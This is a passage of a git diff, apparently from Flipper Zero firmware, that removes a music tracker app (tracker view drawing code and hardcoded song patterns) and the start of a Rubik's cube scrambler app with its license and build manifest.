// Jump to the row xx in next pattern at first tick of current row.
// So if you want to jump to the pattern after note 4, you should put this effect on the 5th note.
EffectBreakPattern = 0x0D,
// Effect0E = 0x0E,
// Fxx, xx - song speed, 0 - 1 tick per note, 1 - 2 ticks per note, 0x3F - 64 ticks per note.
// Set the speed of the song in terms of ticks per note.
// Will be applied at the first tick of current row.
EffectSetSpeed = 0x0F,
} Effect;
#define EFFECT_DATA_2(x, y) ((x) | ((y) << 3))
#define EFFECT_DATA_GET_X(data) ((data)&0x07)
#define EFFECT_DATA_GET_Y(data) (((data) >> 3) & 0x07)
#define EFFECT_DATA_NONE 0
#define EFFECT_DATA_1_MAX 0x3F
#define EFFECT_DATA_2_MAX 0x07
#define FREQUENCY_UNSET -1.0f
#define PWM_MIN 0.01f
#define PWM_MAX 0.5f
#define PWM_DEFAULT PWM_MAX
#define PATTERN_SIZE 64
#define ROW_MAKE(note, effect, data) \
((Row)(((note)&0x3F) | (((effect)&0xF) << 6) | (((data)&0x3F) << 10)))
typedef struct {
Row rows[PATTERN_SIZE];
} Channel;
typedef struct {
Channel* channels;
} Pattern;
typedef struct {
uint8_t channels_count;
uint8_t patterns_count;
Pattern* patterns;
uint8_t order_list_size;
uint8_t* order_list;
uint16_t ticks_per_second;
} Song;

182
applications/external/music_tracker/view/tracker_view.c vendored
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@@ -1,182 +0,0 @@
#include "tracker_view.h"
#include <gui/elements.h>
#include <furi.h>
typedef struct {
const Song* song;
uint8_t order_list_index;
uint8_t row;
} TrackerViewModel;
struct TrackerView {
View* view;
void* back_context;
TrackerViewCallback back_callback;
};
static Channel* get_current_channel(TrackerViewModel* model) {
uint8_t channel_id = 0;
uint8_t pattern_id = model->song->order_list[model->order_list_index];
Pattern* pattern = &model->song->patterns[pattern_id];
return &pattern->channels[channel_id];
}
static const char* get_note_from_id(uint8_t note) {
#define NOTE_COUNT 12
const char* notes[NOTE_COUNT] = {
"C ",
"C#",
"D ",
"D#",
"E ",
"F ",
"F#",
"G ",
"G#",
"A ",
"A#",
"B ",
};
return notes[(note) % NOTE_COUNT];
#undef NOTE_COUNT
}
static uint8_t get_octave_from_id(uint8_t note) {
return ((note) / 12) + 2;
}
static uint8_t get_first_row_id(uint8_t row) {
return (row / 10) * 10;
}
static void
draw_row(Canvas* canvas, uint8_t i, Channel* channel, uint8_t row, FuriString* buffer) {
uint8_t x = 12 * (i + 1);
uint8_t first_row_id = get_first_row_id(row);
uint8_t current_row_id = first_row_id + i;
if((current_row_id) >= 64) {
return;
}
Row current_row = channel->rows[current_row_id];
uint8_t note = current_row & ROW_NOTE_MASK;
uint8_t effect = (current_row >> 6) & ROW_EFFECT_MASK;
uint8_t data = (current_row >> 10) & ROW_EFFECT_DATA_MASK;
if(current_row_id == row) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_line(canvas, x - 9, 1, x - 9, 62);
canvas_draw_box(canvas, x - 8, 0, 9, 64);
canvas_draw_line(canvas, x + 1, 1, x + 1, 62);
canvas_set_color(canvas, ColorWhite);
}
furi_string_printf(buffer, "%02X", current_row_id);
canvas_draw_str(canvas, x, 61, furi_string_get_cstr(buffer));
if(note > 0 && note < NOTE_OFF) {
furi_string_printf(
buffer, "%s%d", get_note_from_id(note - 1), get_octave_from_id(note - 1));
canvas_draw_str(canvas, x, 44, furi_string_get_cstr(buffer));
} else if(note == NOTE_OFF) {
canvas_draw_str(canvas, x, 44, "OFF");
} else {
canvas_draw_str(canvas, x, 44, "---");
}
if(effect == 0 && data == 0) {
canvas_draw_str(canvas, x, 21, "-");
canvas_draw_str(canvas, x, 12, "--");
} else {
furi_string_printf(buffer, "%X", effect);
canvas_draw_str(canvas, x, 21, furi_string_get_cstr(buffer));
if(effect == EffectArpeggio || effect == EffectVibrato) {
uint8_t data_x = EFFECT_DATA_GET_X(data);
uint8_t data_y = EFFECT_DATA_GET_Y(data);
furi_string_printf(buffer, "%d%d", data_x, data_y);
canvas_draw_str(canvas, x, 12, furi_string_get_cstr(buffer));
} else {
furi_string_printf(buffer, "%02X", data);
canvas_draw_str(canvas, x, 12, furi_string_get_cstr(buffer));
}
}
if(current_row_id == row) {
canvas_set_color(canvas, ColorBlack);
}
}
static void tracker_view_draw_callback(Canvas* canvas, void* _model) {
TrackerViewModel* model = _model;
if(model->song == NULL) {
return;
}
canvas_set_font_direction(canvas, CanvasDirectionBottomToTop);
canvas_set_font(canvas, FontKeyboard);
Channel* channel = get_current_channel(model);
FuriString* buffer = furi_string_alloc();
for(uint8_t i = 0; i < 10; i++) {
draw_row(canvas, i, channel, model->row, buffer);
}
furi_string_free(buffer);
}
static bool tracker_view_input_callback(InputEvent* event, void* context) {
TrackerView* tracker_view = context;
if(tracker_view->back_callback) {
if(event->type == InputTypeShort && event->key == InputKeyBack) {
tracker_view->back_callback(tracker_view->back_context);
return true;
}
}
return false;
}
TrackerView* tracker_view_alloc() {
TrackerView* tracker_view = malloc(sizeof(TrackerView));
tracker_view->view = view_alloc();
view_allocate_model(tracker_view->view, ViewModelTypeLocking, sizeof(TrackerViewModel));
view_set_context(tracker_view->view, tracker_view);
view_set_draw_callback(tracker_view->view, (ViewDrawCallback)tracker_view_draw_callback);
view_set_input_callback(tracker_view->view, (ViewInputCallback)tracker_view_input_callback);
return tracker_view;
}
void tracker_view_free(TrackerView* tracker_view) {
view_free(tracker_view->view);
free(tracker_view);
}
View* tracker_view_get_view(TrackerView* tracker_view) {
return tracker_view->view;
}
void tracker_view_set_back_callback(
TrackerView* tracker_view,
TrackerViewCallback callback,
void* context) {
tracker_view->back_callback = callback;
tracker_view->back_context = context;
}
void tracker_view_set_song(TrackerView* tracker_view, const Song* song) {
with_view_model(
tracker_view->view, TrackerViewModel * model, { model->song = song; }, true);
}
void tracker_view_set_position(TrackerView* tracker_view, uint8_t order_list_index, uint8_t row) {
with_view_model(
tracker_view->view,
TrackerViewModel * model,
{
model->order_list_index = order_list_index;
model->row = row;
},
true);
}

29
applications/external/music_tracker/view/tracker_view.h vendored
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@@ -1,29 +0,0 @@
#include <gui/view.h>
#include "../tracker_engine/tracker.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef struct TrackerView TrackerView;
TrackerView* tracker_view_alloc();
void tracker_view_free(TrackerView* tracker_view);
View* tracker_view_get_view(TrackerView* tracker_view);
typedef void (*TrackerViewCallback)(void* context);
void tracker_view_set_back_callback(
TrackerView* tracker_view,
TrackerViewCallback callback,
void* context);
void tracker_view_set_song(TrackerView* tracker_view, const Song* song);
void tracker_view_set_position(TrackerView* tracker_view, uint8_t order_list_index, uint8_t row);
#ifdef __cplusplus
}
#endif

536
applications/external/music_tracker/zero_tracker.c vendored
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@@ -1,536 +0,0 @@
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <notification/notification_messages.h>
#include "zero_tracker.h"
#include "tracker_engine/tracker.h"
#include "view/tracker_view.h"
// Channel p_0_channels[] = {
// {
// .rows =
// {
// // 1/4
// ROW_MAKE(NOTE_C3, EffectArpeggio, EFFECT_DATA_2(4, 7)),
// ROW_MAKE(0, EffectArpeggio, EFFECT_DATA_2(4, 7)),
// ROW_MAKE(NOTE_C4, EffectSlideToNote, 0x20),
// ROW_MAKE(0, EffectSlideToNote, 0x20),
// //
// ROW_MAKE(0, EffectSlideToNote, 0x20),
// ROW_MAKE(0, EffectSlideToNote, 0x20),
// ROW_MAKE(0, EffectSlideToNote, 0x20),
// ROW_MAKE(0, EffectSlideToNote, 0x20),
// //
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
// //
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
// // 2/4
// ROW_MAKE(NOTE_C3, EffectSlideDown, 0x20),
// ROW_MAKE(0, EffectSlideDown, 0x20),
// ROW_MAKE(NOTE_C4, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// //
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// //
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// //
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(3, 3)),
// ROW_MAKE(NOTE_OFF, EffectVibrato, EFFECT_DATA_2(3, 3)),
// // 3/4
// ROW_MAKE(NOTE_C3, EffectArpeggio, EFFECT_DATA_2(4, 7)),
// ROW_MAKE(0, EffectArpeggio, EFFECT_DATA_2(4, 7)),
// ROW_MAKE(NOTE_OFF, 0, 0),
// ROW_MAKE(0, 0, 0),
// //
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// //
// ROW_MAKE(NOTE_C2, EffectPWM, 60),
// ROW_MAKE(0, EffectPWM, 32),
// ROW_MAKE(0, EffectPWM, 12),
// ROW_MAKE(NOTE_OFF, 0, 0),
// //
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// // 4/4
// ROW_MAKE(NOTE_C3, EffectSlideDown, 0x20),
// ROW_MAKE(0, EffectSlideDown, 0x20),
// ROW_MAKE(0, EffectSlideDown, 0x20),
// ROW_MAKE(NOTE_OFF, 0, 0),
// //
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// //
// ROW_MAKE(NOTE_C2, EffectPWM, 60),
// ROW_MAKE(0, EffectPWM, 32),
// ROW_MAKE(0, EffectPWM, 12),
// ROW_MAKE(NOTE_OFF, 0, 0),
// //
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// ROW_MAKE(0, 0, 0),
// },
// },
// };
Channel p_0_channels[] = {
{
.rows =
{
//
ROW_MAKE(NOTE_A4, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_C3, 0, 0),
ROW_MAKE(NOTE_F2, 0, 0),
ROW_MAKE(NOTE_C3, 0, 0),
//
ROW_MAKE(NOTE_E4, 0, 0),
ROW_MAKE(NOTE_C3, 0, 0),
ROW_MAKE(NOTE_E4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_E5, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_C3, EffectSlideDown, 0x30),
ROW_MAKE(NOTE_F2, 0, 0),
ROW_MAKE(NOTE_C3, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_C3, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
//
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_B4, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_D3, 0, 0),
ROW_MAKE(NOTE_G2, 0, 0),
ROW_MAKE(NOTE_D3, 0, 0),
//
ROW_MAKE(NOTE_E4, 0, 0),
ROW_MAKE(NOTE_D3, 0, 0),
ROW_MAKE(NOTE_E4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_E5, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_D3, EffectSlideDown, 0x3F),
ROW_MAKE(NOTE_G2, 0, 0),
ROW_MAKE(NOTE_D3, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_D3, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
//
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(NOTE_OFF, 0, 0),
},
},
};
Channel p_1_channels[] = {
{
.rows =
{
//
ROW_MAKE(NOTE_C5, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_G4, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C6, 0, 0),
ROW_MAKE(NOTE_E3, EffectSlideDown, 0x30),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_G4, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
//
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C5, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_G4, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(0, EffectPWM, 55),
ROW_MAKE(0, EffectPWM, 45),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C6, 0, 0),
ROW_MAKE(NOTE_E3, EffectSlideDown, 0x30),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 50),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_G4, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, 0, 0),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
//
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(1, 1)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(0, EffectVibrato, EFFECT_DATA_2(2, 2)),
ROW_MAKE(NOTE_OFF, 0, 0),
},
},
};
Channel p_2_channels[] = {
{
.rows =
{
//
ROW_MAKE(NOTE_C5, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, 0, 0),
//
ROW_MAKE(NOTE_C5, EffectPWM, 55),
ROW_MAKE(NOTE_A4, EffectPWM, 45),
ROW_MAKE(NOTE_C5, EffectPWM, 35),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(NOTE_C5, EffectPWM, 55),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_E3, EffectSlideDown, 0x30),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_OFF, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_D5, EffectPWM, 55),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
//
ROW_MAKE(NOTE_D5, EffectPWM, 45),
ROW_MAKE(NOTE_B4, EffectPWM, 45),
ROW_MAKE(NOTE_D5, EffectPWM, 35),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, EffectArpeggio, EFFECT_DATA_2(4, 7)),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_E5, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_E5, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
//
ROW_MAKE(NOTE_E5, EffectPWM, 55),
ROW_MAKE(NOTE_C5, EffectPWM, 45),
ROW_MAKE(NOTE_E5, EffectPWM, 35),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_E5, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_E5, EffectPWM, 55),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_E3, EffectSlideDown, 0x30),
ROW_MAKE(NOTE_A2, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
//
ROW_MAKE(NOTE_OFF, 0, 0),
ROW_MAKE(NOTE_E3, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_D5, EffectPWM, 55),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
//
ROW_MAKE(NOTE_D5, EffectPWM, 45),
ROW_MAKE(NOTE_B4, EffectPWM, 45),
ROW_MAKE(NOTE_D5, EffectPWM, 35),
ROW_MAKE(NOTE_OFF, 0, 0),
},
},
};
Channel p_3_channels[] = {
{
.rows =
{
//
ROW_MAKE(NOTE_Ds5, EffectArpeggio, EFFECT_DATA_2(4, 6)),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_Ds5, 0, 0),
ROW_MAKE(NOTE_C5, EffectPWM, 55),
//
ROW_MAKE(NOTE_Ds5, EffectPWM, 45),
ROW_MAKE(NOTE_C5, EffectPWM, 35),
ROW_MAKE(NOTE_Ds5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
//
ROW_MAKE(NOTE_D5, EffectPWM, 45),
ROW_MAKE(NOTE_B4, EffectPWM, 35),
ROW_MAKE(NOTE_D5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_Cs5, EffectArpeggio, EFFECT_DATA_2(4, 6)),
ROW_MAKE(NOTE_As4, 0, 0),
ROW_MAKE(NOTE_Cs5, 0, 0),
ROW_MAKE(NOTE_As4, EffectPWM, 55),
//
ROW_MAKE(NOTE_Cs5, EffectPWM, 45),
ROW_MAKE(NOTE_As4, EffectPWM, 35),
ROW_MAKE(NOTE_Cs5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, EffectPWM, 55),
//
ROW_MAKE(NOTE_C5, EffectPWM, 45),
ROW_MAKE(NOTE_A4, EffectPWM, 35),
ROW_MAKE(NOTE_C5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_B4, EffectArpeggio, EFFECT_DATA_2(4, 6)),
ROW_MAKE(NOTE_Gs4, 0, 0),
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_Gs4, EffectPWM, 55),
//
ROW_MAKE(NOTE_B4, EffectPWM, 45),
ROW_MAKE(NOTE_Gs4, EffectPWM, 35),
ROW_MAKE(NOTE_B4, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, 0, 0),
ROW_MAKE(NOTE_C5, 0, 0),
ROW_MAKE(NOTE_A4, EffectPWM, 55),
//
ROW_MAKE(NOTE_C5, EffectPWM, 45),
ROW_MAKE(NOTE_A4, EffectPWM, 35),
ROW_MAKE(NOTE_C5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_Cs5, EffectArpeggio, EFFECT_DATA_2(4, 6)),
ROW_MAKE(NOTE_As4, 0, 0),
ROW_MAKE(NOTE_Cs5, 0, 0),
ROW_MAKE(NOTE_As4, EffectPWM, 55),
//
ROW_MAKE(NOTE_Cs5, EffectPWM, 45),
ROW_MAKE(NOTE_As4, EffectPWM, 35),
ROW_MAKE(NOTE_Cs5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
//
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, 0, 0),
ROW_MAKE(NOTE_D5, 0, 0),
ROW_MAKE(NOTE_B4, EffectPWM, 55),
//
ROW_MAKE(NOTE_D5, EffectPWM, 45),
ROW_MAKE(NOTE_B4, EffectPWM, 35),
ROW_MAKE(NOTE_D5, EffectPWM, 30),
ROW_MAKE(NOTE_OFF, 0, 0),
},
},
};
Pattern patterns[] = {
{.channels = p_0_channels},
{.channels = p_1_channels},
{.channels = p_2_channels},
{.channels = p_3_channels},
};
uint8_t order_list[] = {
0,
1,
0,
2,
0,
1,
0,
3,
};
Song song = {
.channels_count = 1,
.patterns_count = sizeof(patterns) / sizeof(patterns[0]),
.patterns = patterns,
.order_list_size = sizeof(order_list) / sizeof(order_list[0]),
.order_list = order_list,
.ticks_per_second = 60,
};
void tracker_message(TrackerMessage message, void* context) {
FuriMessageQueue* queue = context;
furi_assert(queue);
furi_message_queue_put(queue, &message, 0);
}
int32_t zero_tracker_app(void* p) {
UNUSED(p);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
notification_message(notification, &sequence_display_backlight_enforce_on);
Gui* gui = furi_record_open(RECORD_GUI);
ViewDispatcher* view_dispatcher = view_dispatcher_alloc();
TrackerView* tracker_view = tracker_view_alloc();
tracker_view_set_song(tracker_view, &song);
view_dispatcher_add_view(view_dispatcher, 0, tracker_view_get_view(tracker_view));
view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen);
view_dispatcher_switch_to_view(view_dispatcher, 0);
FuriMessageQueue* queue = furi_message_queue_alloc(8, sizeof(TrackerMessage));
Tracker* tracker = tracker_alloc();
tracker_set_message_callback(tracker, tracker_message, queue);
tracker_set_song(tracker, &song);
tracker_start(tracker);
while(1) {
TrackerMessage message;
FuriStatus status = furi_message_queue_get(queue, &message, portMAX_DELAY);
if(status == FuriStatusOk) {
if(message.type == TrackerPositionChanged) {
uint8_t order_list_index = message.data.position.order_list_index;
uint8_t row = message.data.position.row;
uint8_t pattern = song.order_list[order_list_index];
tracker_view_set_position(tracker_view, order_list_index, row);
FURI_LOG_I("Tracker", "O:%d P:%d R:%d", order_list_index, pattern, row);
} else if(message.type == TrackerEndOfSong) {
FURI_LOG_I("Tracker", "End of song");
break;
}
}
}
tracker_stop(tracker);
tracker_free(tracker);
furi_message_queue_free(queue);
furi_delay_ms(500);
view_dispatcher_remove_view(view_dispatcher, 0);
tracker_view_free(tracker_view);
view_dispatcher_free(view_dispatcher);
notification_message(notification, &sequence_display_backlight_enforce_auto);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_GUI);
return 0;
}

0
applications/external/music_tracker/zero_tracker.h vendored
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21
applications/external/rubiks_cube_scrambler/LICENSE vendored
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MIT License
Copyright (c) 2022 RaZe
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

24
applications/external/rubiks_cube_scrambler/application.fam vendored
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# COMPILE ISTRUCTIONS:
# Clean the code and remove old binaries/compilation artefact
# ./fbt -c fap_rubiks_cube_scrambler
# Compile FAP
# ./fbt fap_rubiks_cube_scrambler
# Run application directly inside the Flip.x0
# ./fbt launch_app APPSRC=rubiks_cube_scrambler
App(
appid="rubiks_cube_scrambler",
name="Rubik's Cube Scrambler",
apptype=FlipperAppType.EXTERNAL,
entry_point="rubiks_cube_scrambler_main",
stack_size=1 * 1024,
fap_category="Games",
fap_icon="cube.png",
fap_author="@RaZeSloth",
fap_weburl="https://github.com/RaZeSloth/flipperzero-rubiks-cube-scrambler",
fap_version="1.1",
fap_description="App generates random moves to scramble a Rubik's cube.",
)

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113
applications/external/rubiks_cube_scrambler/rubiks_cube_scrambler.c vendored
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@@ -1,113 +0,0 @@
#include <stdio.h>
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <gui/elements.h>
#include <furi_hal.h>
#include "scrambler.h"
#include "furi_hal_random.h"
bool scrambleStarted = false;
char scramble_str[100] = {0};
char scramble_start[100] = {0};
char scramble_end[100] = {0};
bool notifications_enabled = false;
static void success_vibration() {
furi_hal_vibro_on(false);
furi_hal_vibro_on(true);
furi_delay_ms(50);
furi_hal_vibro_on(false);
return;
}
void split_array(char original[], int size, char first[], char second[]) {
int32_t mid = size / 2;
